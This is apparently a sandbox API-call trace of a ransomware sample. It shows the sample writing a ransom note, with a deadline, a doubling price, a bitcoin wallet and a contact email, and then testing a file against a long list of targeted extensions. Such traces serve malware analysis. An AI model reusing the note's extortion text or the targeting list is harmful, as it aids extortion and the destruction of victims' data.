(lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.687] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.687] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.689] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.689] CloseHandle (hObject=0x90) returned 1 [0100.689] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Access.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config" [0100.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.ems") returned 0 [0100.689] lstrlenA (lpString="*.ems") returned 5 [0100.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.db") returned 0 [0100.689] lstrlenA (lpString="*.db") returned 4 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.dbf") returned 0 [0100.690] lstrlenA (lpString="*.dbf") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.myox") returned 0 [0100.690] lstrlenA (lpString="*.myox") returned 6 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.myo") returned 0 [0100.690] lstrlenA (lpString="*.myo") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.qbw") returned 0 [0100.690] lstrlenA (lpString="*.qbw") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.qbb") returned 0 [0100.690] lstrlenA (lpString="*.qbb") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.qbm") returned 0 [0100.690] lstrlenA (lpString="*.qbm") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.qbo") returned 0 [0100.690] lstrlenA (lpString="*.qbo") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.qbx") returned 0 [0100.690] lstrlenA (lpString="*.qbx") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.qba") returned 0 [0100.690] lstrlenA (lpString="*.qba") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.qby") returned 0 [0100.690] lstrlenA (lpString="*.qby") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.qbj") returned 0 [0100.690] lstrlenA (lpString="*.qbj") returned 5 [0100.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.ofx") returned 0 [0100.691] lstrlenA (lpString="*.ofx") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.qif") returned 0 [0100.691] lstrlenA (lpString="*.qif") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.mye") returned 0 [0100.691] lstrlenA (lpString="*.mye") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.mbox") returned 0 [0100.691] lstrlenA (lpString="*.mbox") returned 6 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.eml") returned 0 [0100.691] lstrlenA (lpString="*.eml") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.pst") returned 0 [0100.691] lstrlenA (lpString="*.pst") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.ost") returned 0 [0100.691] lstrlenA (lpString="*.ost") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.idx") returned 0 [0100.691] lstrlenA (lpString="*.idx") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.dbx") returned 0 [0100.691] lstrlenA (lpString="*.dbx") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.sql") returned 0 [0100.691] lstrlenA (lpString="*.sql") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.mdb") returned 0 [0100.691] lstrlenA (lpString="*.mdb") returned 5 [0100.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.fdb") returned 0 [0100.691] lstrlenA (lpString="*.fdb") returned 5 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.wab") returned 0 [0100.692] lstrlenA (lpString="*.wab") returned 5 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.dat") returned 0 [0100.692] lstrlenA (lpString="*.dat") returned 5 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.txt") returned 0 [0100.692] lstrlenA (lpString="*.txt") returned 5 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.jpeg") returned 0 [0100.692] lstrlenA (lpString="*.jpeg") returned 6 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.jpg") returned 0 [0100.692] lstrlenA (lpString="*.jpg") returned 5 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.png") returned 0 [0100.692] lstrlenA (lpString="*.png") returned 5 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.php") returned 0 [0100.692] lstrlenA (lpString="*.php") returned 5 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.cs") returned 0 [0100.692] lstrlenA (lpString="*.cs") returned 4 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.cpp") returned 0 [0100.692] lstrlenA (lpString="*.cpp") returned 5 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.rar") returned 0 [0100.692] lstrlenA (lpString="*.rar") returned 5 [0100.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.zip") returned 0 [0100.692] lstrlenA (lpString="*.zip") returned 5 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.html") returned 0 [0100.693] lstrlenA (lpString="*.html") returned 6 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.htm") returned 0 [0100.693] lstrlenA (lpString="*.htm") returned 5 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.xlsx") returned 0 [0100.693] lstrlenA (lpString="*.xlsx") returned 6 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.xls") returned 0 [0100.693] lstrlenA (lpString="*.xls") returned 5 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.mp4") returned 0 [0100.693] lstrlenA (lpString="*.mp4") returned 5 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.ppt") returned 0 [0100.693] lstrlenA (lpString="*.ppt") returned 5 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.pptx") returned 0 [0100.693] lstrlenA (lpString="*.pptx") returned 6 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.doc") returned 0 [0100.693] lstrlenA (lpString="*.doc") returned 5 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.dot") returned 0 [0100.693] lstrlenA (lpString="*.dot") returned 5 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.docx") returned 0 [0100.693] lstrlenA (lpString="*.docx") returned 6 [0100.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.7z") returned 0 [0100.693] lstrlenA (lpString="*.7z") returned 4 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.tar") returned 0 [0100.694] lstrlenA (lpString="*.tar") returned 5 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.bz2") returned 0 [0100.694] lstrlenA (lpString="*.bz2") returned 5 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.gz") returned 0 [0100.694] lstrlenA (lpString="*.gz") returned 4 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.mkv") returned 0 [0100.694] lstrlenA (lpString="*.mkv") returned 5 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.eml") returned 0 [0100.694] lstrlenA (lpString="*.eml") returned 5 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.msg") returned 0 [0100.694] lstrlenA (lpString="*.msg") returned 5 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.edb") returned 0 [0100.694] lstrlenA (lpString="*.edb") returned 5 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.accdb") returned 0 [0100.694] lstrlenA (lpString="*.accdb") returned 7 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.odb") returned 0 [0100.694] lstrlenA (lpString="*.odb") returned 5 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.java") returned 0 [0100.694] lstrlenA (lpString="*.java") returned 6 [0100.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.asm") returned 0 [0100.694] lstrlenA (lpString="*.asm") returned 5 [0100.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.pfx") returned 0 [0100.695] lstrlenA (lpString="*.pfx") returned 5 [0100.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.pem") returned 0 [0100.695] lstrlenA (lpString="*.pem") returned 5 [0100.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.p12") returned 0 [0100.696] lstrlenA (lpString="*.p12") returned 5 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.gpg") returned 0 [0100.696] lstrlenA (lpString="*.gpg") returned 5 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.vsd") returned 0 [0100.696] lstrlenA (lpString="*.vsd") returned 5 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.odg") returned 0 [0100.696] lstrlenA (lpString="*.odg") returned 5 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.raw") returned 0 [0100.696] lstrlenA (lpString="*.raw") returned 5 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.nef") returned 0 [0100.696] lstrlenA (lpString="*.nef") returned 5 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.svg") returned 0 [0100.696] lstrlenA (lpString="*.svg") returned 5 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.psd") returned 0 [0100.696] lstrlenA (lpString="*.psd") returned 5 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.vmx") returned 0 [0100.696] lstrlenA (lpString="*.vmx") returned 5 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.vmdk") returned 0 [0100.696] lstrlenA (lpString="*.vmdk") returned 6 [0100.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.vdi") returned 0 [0100.696] lstrlenA (lpString="*.vdi") returned 5 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.lay6") returned 0 [0100.697] lstrlenA (lpString="*.lay6") returned 6 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.mpeg") returned 0 [0100.697] lstrlenA (lpString="*.mpeg") returned 6 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.djvu") returned 0 [0100.697] lstrlenA (lpString="*.djvu") returned 6 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.tiff") returned 0 [0100.697] lstrlenA (lpString="*.tiff") returned 6 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.backup") returned 0 [0100.697] lstrlenA (lpString="*.backup") returned 8 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.pdf") returned 0 [0100.697] lstrlenA (lpString="*.pdf") returned 5 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.cert") returned 0 [0100.697] lstrlenA (lpString="*.cert") returned 6 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.docm") returned 0 [0100.697] lstrlenA (lpString="*.docm") returned 6 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.xlsm") returned 0 [0100.697] lstrlenA (lpString="*.xlsm") returned 6 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.dwg") returned 0 [0100.697] lstrlenA (lpString="*.dwg") returned 5 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.nd") returned 0 [0100.697] lstrlenA (lpString="*.nd") returned 4 [0100.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.tlg") returned 0 [0100.698] lstrlenA (lpString="*.tlg") returned 5 [0100.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.lgb") returned 0 [0100.698] lstrlenA (lpString="*.lgb") returned 5 [0100.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.mov") returned 0 [0100.698] lstrlenA (lpString="*.mov") returned 5 [0100.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.xdw") returned 0 [0100.698] lstrlenA (lpString="*.xdw") returned 5 [0100.698] PathMatchSpecA 